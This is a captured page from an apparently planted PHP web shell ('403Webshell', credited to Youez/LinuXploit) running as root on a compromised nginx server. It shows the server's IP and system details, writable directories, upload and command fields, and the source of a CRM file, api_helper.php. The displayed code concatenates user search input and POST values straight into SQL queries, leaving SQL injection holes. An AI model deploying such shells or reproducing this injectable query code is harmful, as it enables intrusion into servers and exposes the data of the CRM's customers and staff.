403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/wit-crm/api/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/wit-crm/api/helpers/api_helper.php
<?php 
defined('BASEPATH') or exit('No direct script access allowed');

if(!function_exists('insert')) 
{
    function insert($table_name, $insert_data)
    {
        $CI =& get_instance();
        return $CI->db->insert($table_name, $insert_data);
    }
}

function get_relation_data_api($type, $search = '')
{
    $CI = & get_instance();
    $q  = '';
    if($search != ''){
        $q = $search;
        $q = trim($q);
    }
    $data = [];
    if ($type == 'customer' || $type == 'customers') {
        $where_clients = 'tblclients.active=1';
        

        if ($q) {
            $where_clients .= ' AND types = "customer" AND (company LIKE "%' . $q . '%" OR CONCAT(firstname, " ", lastname) LIKE "%' . $q . '%" OR email LIKE "%' . $q . '%")';
        }
        $data = $CI->clients_model->get('', $where_clients);
    } 
     elseif ($type == 'ticket') {
            $search = $CI->api_model->_search_tickets($q, 0, true);
            $data   = $search['result'];
    } elseif ($type == 'lead' || $type == 'leads') {
            $search = $CI->api_model->_search_leads($q, 0, [
                'junk' => 0,
                ], true);
            $data = $search['result'];
    } elseif ($type == 'project') {
        
            $where_projects = '';
            if ($CI->input->post('customer_id')) {
                $where_projects .= '(clientid=' . $CI->input->post('customer_id').' or clientid in (select id from tblleads where client_id='.$CI->input->post('customer_id').') )';
            }
            if ($CI->input->post('rel_type')) {
                $where_projects .= ' and rel_type="' . $CI->input->post('rel_type').'" ' ;
            }
            $search = $CI->api_model->_search_projects($q, 0, $where_projects,$CI->input->post('rel_type'), true);
            
            
            $data   = $search['result'];
        
    } elseif ($type == 'staff') {
            $search = $CI->api_model->_search_staff($q,0,true);
            $data   = $search['result'];
        
    } elseif ($type == 'tasks') {
        $search = $CI->api_model->_search_tasks($q,0,true);
        $data   = $search['result'];
    }
    return $data;
}

Youez - 2016 - github.com/yon3zu
LinuXploit